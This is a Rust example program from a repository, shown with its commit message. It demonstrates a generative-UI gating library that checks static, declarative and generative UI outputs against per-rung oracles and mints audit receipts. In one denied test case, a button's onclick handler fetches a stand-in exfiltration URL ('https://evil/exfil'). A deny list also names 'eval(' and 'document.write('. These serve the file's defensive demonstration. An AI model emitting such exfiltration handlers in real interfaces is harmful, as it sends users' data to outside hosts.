open-standards/jouleclaw/jouleclaw-rs/crates/jouleclaw-stack/examples/wave48_ui_streaming.rs
Transaction Science 42216acb1f jouleclaw: wave-48 — UI-output ladder + per-rung Oracles + JCR-1 ui-output/1
Deep-dive on Mira Murati's Interaction Models paper confirmed the
2026 streaming primitive set (276B MoE / 12B active TML-Interaction-
Small, continuous interleaving of 200ms input + 200ms output,
multi-stream parallel audio/video/text). Cross-reference: the
generative-UI side converged on the same window — MCP Apps (Jan 26
2026), AG-UI, Google A2UI, Open-JSON-UI all settled on three rungs
(Static / Declarative / Generative) with iframe sandbox for the
generative rung, matching Ruben Casses's Postman keynote ladder.

The two axes — interaction tempo (Mira) and UI-generation rung
(Ruben) — are orthogonal. Wave-47 typed up the first axis. Wave-48
types the second + composes them.

Four deliverables:

1. jouleclaw-ui-output (new crate) — pure types.
   - UiOutput { Static { component_id, props } | Declarative
     { schema_id, descriptor } | Generative { language, source,
     capabilities } }. Each rung carries the engineering invariant
     its trust level requires.
   - SandboxCapability + CapabilityPolicy { Empty | Allow(set) }
     with check_all() returning first denied — the JouleClaw
     doctrine demands default-empty allow-lists.
   - ComponentRegistry for Static-rung validation (registered
     allow-list, idempotent on id).
   - DEFAULT_GENERATIVE_HTML_BYTES = 32 KiB, _REACT_BYTES = 64 KiB
     + default_generative_budget() lookup.
   - UI_OUTPUT_MIME = "application/x.jouleclaw-ui-output+json" —
     stable MIME so a jouleclaw-stream::Tick can carry a UiOutput
     in its bytes WITHOUT extending the tick schema (and breaking
     wave-47's stream-window/1 conformance vectors).
   - Canonical JSON (sorted keys) + content_hash + payload_bytes
     for receipt content-addressing and rolling-conservation
     accounting.
   - 11 tests.

2. jouleclaw-ui-oracle (new crate) — per-rung Oracle backends.
   - StaticUiOracle — component_id ∈ ComponentRegistry.
   - DeclarativeUiOracle — schema_id matches + descriptor.kind ∈
     allowed_kinds. (Schema validation of the full descriptor is
     the renderer's job; this gate refuses unrecognised kinds
     before the renderer is reached.)
   - GenerativeUiOracle — CapabilityPolicy.check_all + per-
     language byte budget + caller-configurable deny-substring
     list (default empty; callers seed `"eval("`,
     `"document.write("`, etc. per their threat model).
   - All three implement the per-request jouleclaw-oracle::Oracle
     trait so they compose via CompositeOracle alongside the
     FuzzOracle and the future Lean Oracle, AND lift into the
     streaming cascade via jouleclaw-stream-oracle::PerTickAdapter.
   - 13 tests covering each rung's pass/fail paths + wrong-rung
     rejection + composition.

3. jouleclaw-jcr1 — ui-output/1 schema.
   - UiOutputReceipt { jc_receipt, id, closed_at, steward, rung,
     content_hash, byte_length, granted_capabilities, verdict,
     stream_id, window_id }. Optional stream_id + window_id
     correlate the UI receipt with a stream-window/1 receipt for
     full-session reconstruction.
   - UiRungWire { static | declarative | generative };
     UiVerdictWire { Pass { oracle_id } | Fail { subkind, message } }.
   - 2 conformance vectors (Static Pass with stream correlation;
     Generative Fail standalone) with embedded receipt_hash the
     Rust verifier asserts byte-equal at test time.
   - 3 ui_output tests on top of the existing jcr1 surface.

4. Demo binary — examples/wave48_ui_streaming.rs in
   jouleclaw-stack. Four UI outputs ship through the gates: one
   per rung passes (Static / Declarative / Generative-with-
   clipboard), plus one Generative-with-net.fetch that's correctly
   denied by the capability policy. Each render mints a ui-output/1
   receipt correlated to a streaming-window id.

Composition summary across waves 46-48:

  per-request:        Candidate → CompositeOracle (Fuzz | UiRung*)
                                  → Verdict → JCR-1 verified-code/1
                                            OR JCR-1 ui-output/1

  streaming-per-win:  StreamWindow → CompositeStreamOracle (BargeIn
                                      | PerTickAdapter<UiRungOracle>)
                                  → WindowVerdict → JCR-1 stream-window/1
                                  + RollingConservationLedger
                                  + per-output JCR-1 ui-output/1
                                    (correlated by stream_id+window_id)

The triangle (conservation + cone + oracle + elicitor) types every
slot up; wave-46 / 47 / 48 fill backend slots without rewriting the
triangle itself. The MCP-Apps / AG-UI / A2UI ecosystem can target
jouleclaw-ui-output as the substrate-grade common type for what
an agent emits to the front-end, with receipts proving which rung
shipped, which capabilities were granted, and which gate signed
off.

Workspace check clean.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-06-05 04:39:03 -04:00

244 lines
8.3 KiB
Rust
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//! `wave48_ui_streaming` — generative-UI ladder + streaming
//! substrate composed end-to-end.
//!
//! Three UI outputs ship on the `text.out` channel of a duplex
//! voice stream — one per rung of the ladder:
//!
//! 1. **Static** — `weather.card` with props. Passes the
//! [`StaticUiOracle`] gate against a small registry.
//! 2. **Declarative** — an `a2ui/1` descriptor with `kind: card`.
//! Passes the [`DeclarativeUiOracle`]'s allow-list.
//! 3. **Generative** — raw HTML asking for `clipboard.write` only;
//! passes the [`GenerativeUiOracle`]'s `CapabilityPolicy`.
//! 4. **Generative (denied)** — same HTML but asks for `net.fetch`.
//! Fails the policy. The receipt records the denial.
//!
//! Each render mints a JCR-1 `ui-output/1` receipt; the receipts
//! correlate to the parent stream via `stream_id` + `window_id`,
//! so an auditor reading both the `stream-window/1` AND
//! `ui-output/1` receipts can reconstruct the full session.
//!
//! Run:
//! cargo run -p jouleclaw-stack --example wave48_ui_streaming
use jouleclaw_jcr1::{UiOutputReceipt, UiRungWire, UiVerdictWire};
use jouleclaw_oracle::{Candidate, Oracle, Verdict};
use jouleclaw_ui_oracle::{DeclarativeUiOracle, GenerativeUiOracle, StaticUiOracle};
use jouleclaw_ui_output::{
CapabilityPolicy, ComponentRegistry, RegisteredComponent, SandboxCapability, UiOutput,
};
use serde_json::json;
const STREAM_ID: &str = "stream-demo";
const STEWARD: &str = "did:keri:EJ9testStewardAID000000000000000";
fn build_registry() -> ComponentRegistry {
let mut r = ComponentRegistry::new();
r.register(RegisteredComponent {
id: "weather.card".into(),
description: "renders a weather card from props".into(),
});
r.register(RegisteredComponent {
id: "list.simple".into(),
description: "renders a flat list of strings".into(),
});
r
}
fn build_policy() -> CapabilityPolicy {
CapabilityPolicy::allow([SandboxCapability::new("clipboard.write")])
}
async fn gate_with(
oracle: &dyn Oracle,
ui: &UiOutput,
) -> (UiVerdictWire, Vec<String>) {
let content = serde_json::to_string(ui).expect("ui serialises");
let candidate = Candidate {
id: "demo".into(),
content,
language: "json".into(),
source_tier: "stream".into(),
provenance: "wave-48-demo".into(),
};
match oracle.verify(&candidate).await.expect("oracle") {
Verdict::Pass { chain } => {
let oracle_id = chain.first().cloned().unwrap_or_default();
(
UiVerdictWire::Pass {
oracle_id: oracle_id.clone(),
},
chain,
)
}
Verdict::Fail { reasons } => {
let r = reasons.into_iter().next();
let (subkind, message) = match r {
Some(jouleclaw_oracle::FailReason::Custom { subkind, message }) => {
(subkind, message)
}
Some(other) => ("unknown".into(), format!("{other:?}")),
None => ("unknown".into(), String::new()),
};
(UiVerdictWire::Fail { subkind, message }, vec![])
}
}
}
fn mint_receipt(
receipt_id: &str,
ui: &UiOutput,
verdict: UiVerdictWire,
window_id: u64,
) -> UiOutputReceipt {
let rung = match ui {
UiOutput::Static { .. } => UiRungWire::Static,
UiOutput::Declarative { .. } => UiRungWire::Declarative,
UiOutput::Generative { .. } => UiRungWire::Generative,
};
let content_hash = ui.content_hash().expect("hash");
let byte_length = ui.payload_bytes().expect("bytes") as u64;
let granted: Vec<String> = match ui {
UiOutput::Generative { capabilities, .. }
if matches!(verdict, UiVerdictWire::Pass { .. }) =>
{
capabilities.iter().map(|c| c.to_string()).collect()
}
_ => vec![],
};
UiOutputReceipt::build(
receipt_id,
format!("2026-06-05T00:00:{:02}Z", window_id % 60),
STEWARD,
rung,
content_hash,
byte_length,
granted,
verdict,
STREAM_ID,
window_id,
)
}
#[tokio::main(flavor = "current_thread")]
async fn main() {
println!("== wave-48 UI streaming demo (ladder × streaming substrate) ==\n");
let registry = build_registry();
let policy = build_policy();
let static_oracle = StaticUiOracle::new("static-ui-gate", registry);
let declarative_oracle = DeclarativeUiOracle::new(
"declarative-ui-gate",
"a2ui/1",
vec!["card".into(), "text".into(), "list".into()],
);
let generative_oracle = GenerativeUiOracle::new("generative-ui-gate", policy)
.deny_substring("eval(")
.deny_substring("document.write(");
// The four scripted UI outputs.
let outputs: Vec<(u64, &str, UiOutput, &dyn Oracle)> = vec![
(
3,
"static — registered weather card",
UiOutput::Static {
component_id: "weather.card".into(),
props: json!({"city": "Paris", "temp_c": 18}),
},
&static_oracle as &dyn Oracle,
),
(
4,
"declarative — a2ui/1 card descriptor",
UiOutput::Declarative {
schema_id: "a2ui/1".into(),
descriptor: json!({
"kind": "card",
"title": "Reminder",
"children": [{"kind": "text", "value": "demo at 14:00"}]
}),
},
&declarative_oracle as &dyn Oracle,
),
(
5,
"generative — minimal HTML asking for clipboard.write",
UiOutput::Generative {
language: "html".into(),
source: "<button onclick='navigator.clipboard.writeText(\"hi\")'>copy</button>"
.into(),
capabilities: vec![SandboxCapability::new("clipboard.write")],
},
&generative_oracle as &dyn Oracle,
),
(
6,
"generative DENIED — asks for net.fetch (not in policy)",
UiOutput::Generative {
language: "html".into(),
source: "<button onclick='fetch(\"https://evil/exfil\")'>tap me</button>"
.into(),
capabilities: vec![SandboxCapability::new("net.fetch")],
},
&generative_oracle as &dyn Oracle,
),
];
let mut total_pass = 0usize;
let mut total_fail = 0usize;
let mut total_bytes: u64 = 0;
for (window_id, label, ui, oracle) in &outputs {
let (verdict, _chain) = gate_with(*oracle, ui).await;
let pass = matches!(verdict, UiVerdictWire::Pass { .. });
if pass {
total_pass += 1;
} else {
total_fail += 1;
}
let receipt = mint_receipt(
&format!("{}:ui:{:04}", STREAM_ID, window_id),
ui,
verdict.clone(),
*window_id,
);
let bytes = ui.payload_bytes().unwrap_or(0) as u64;
total_bytes += bytes;
let receipt_bytes = receipt.canonical_bytes().expect("canonical");
let receipt_hash = receipt.receipt_hash().expect("hash");
let tag = if pass { "PASS " } else { "FAIL " };
let rung_tag = ui.rung();
let detail = match &verdict {
UiVerdictWire::Pass { oracle_id } => format!("oracle={oracle_id}"),
UiVerdictWire::Fail { subkind, .. } => format!("subkind={subkind}"),
};
println!(
" w{:02} {} [{:<11}] ({:>4} B) receipt {} B hash={}",
window_id,
tag,
rung_tag,
bytes,
receipt_bytes.len(),
&receipt_hash[..16]
);
println!(" {label}");
println!(" {detail}\n");
}
println!("== summary ==");
println!(
" outputs: {} | pass={} fail={} ui-bytes-on-wire={} B",
outputs.len(),
total_pass,
total_fail,
total_bytes
);
println!();
println!("✓ UI ladder + streaming substrate compose end-to-end:");
println!(
" UiOutput (Static | Declarative | Generative) → per-rung Oracle →"
);
println!(" JCR-1 ui-output/1 receipt correlated to stream + window");
}